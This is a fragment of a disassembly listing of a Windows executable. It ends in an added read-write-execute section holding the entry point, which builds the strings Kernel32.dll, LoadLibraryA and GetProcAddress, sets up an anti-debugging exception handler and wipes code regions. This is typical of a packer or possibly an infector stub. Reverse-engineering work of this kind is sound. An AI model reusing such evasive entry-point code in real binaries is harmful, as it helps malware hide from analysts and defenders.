sub_432AA0+11w ... dword_676ED0 dd 0 ; sub_42B7EB:loc_42B834r ... dword_676ED4 dd 0 ; sub_42B7EB+11r ... dword_676ED8 dd 0 ; sub_42AA24+1Ar ... dword_676EDC dd 0 ; sub_42A8C0:loc_42A927w ... dword_676EE0 dd 0B41F18h ; sub_42C118+81r ... dword_676EE4 dd 22h dup(0) dword_676F6C dd 1Dh dup(0) dword_676FE0 dd 20h ; sub_42F4BE+5r ... dword_676FE4 dd 0 ; sub_42CF57+5r ... dword_676FE8 dd 0 ; sub_42C925+25Ar ... dword_676FEC dd 0 ; sub_42C925+311w ... dword_676FF0 dd 0 ; sub_42C925+22Dr ... dword_676FF4 dd 0 ; sub_42C8FAr ... dword_676FF8 dd 0 ; sub_42C8FA+8r ... dword_676FFC dd 0 ; sub_42B39A+64r ... dword_677000 dd 0B40000h ; sub_4298F2+CEr ... dword_677004 dd 1 ; sub_4298F2+2Er ... dword_677008 dd 142340h ; sub_432BD7+Fr ... dword_67700C dd 0 ; sub_42C118+41w ... dd 4 dup(0) dword_677020 dd 400h dup(0) ; .text:00450EC8o dword_678020 dd 0 ; sub_42C118:loc_42C132w ... align 2000h _text ends ; Section 3. (virtual address 0027C000) ; Virtual size : 00000FFF ( 4095.) ; Section size in file : 00000FFF ( 4095.) ; Offset to raw data for section: 0027C000 ; Flags E00FFFF0: Copy Text Data Bss Exception Comment Overlay Lib Loader Debug Type check Overflow Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute peei segment para public 'CODE' use32 assume cs:peei ;org 67C000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing dd 3 dup(0) dd 27C028h, 27C035h, 5 dup(0) dd 6E72654Bh, 32336C65h, 6C6C642Eh, 801D7700h, 80ADA07Ch dd 7Ch, 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h dd 6441636Fh, 73657264h, 73h ; --------------------------------------------------------------------------- public start start: push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi lea edi, [ebp-40h] push 10h pop ecx mov eax, 0CCCCCCCCh rep stosd ; --------------------------------------------------------------------------- dw 0 dd 228h dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi db 36h mov eax, [ebp+10h] db 3Eh mov edi, [eax+0C4h] db 3Eh push dword ptr [edi] xor edi, edi pop dword ptr fs:[edi] db 3Eh add dword ptr [eax+0C4h], 8 db 3Eh mov edi, [eax+0A4h] rol edi, 7 db 3Eh mov [eax+0B8h], edi mov eax, 0 pop edi leave retn ; --------------------------------------------------------------------------- xor al, al mov edx, ebp add edx, 4038EBh lea edi, [edx] mov ecx, offset loc_404190 sub ecx, 4038EBh loc_67C96A: ; CODE XREF: peei:0067C96Bj stosb loop loc_67C96A mov edx, ebp add edx, 404207h lea edi, [edx] mov ecx, offset loc_4044E2 sub ecx, 404207h loc_67C982: ; CODE XREF: peei:0067C983j stosb loop loc_67C982 popa push eax xor eax, eax push dword ptr fs:[eax] mov fs:[eax], esp jmp short near ptr word_67C992 ; --------------------------------------------------------------------------- align 2 word_67C992 dw 0 ; CODE XREF: peei:0067C98Fj dd 0BCh dup(0) dd 0DC23400h, 201h, 0C300h, 0DBh dup(0) db 3 dup(0) db ? peei ends ; Section 4. (virtual address 0027D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0027D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 67D000h align 2000h _idata2 ends end start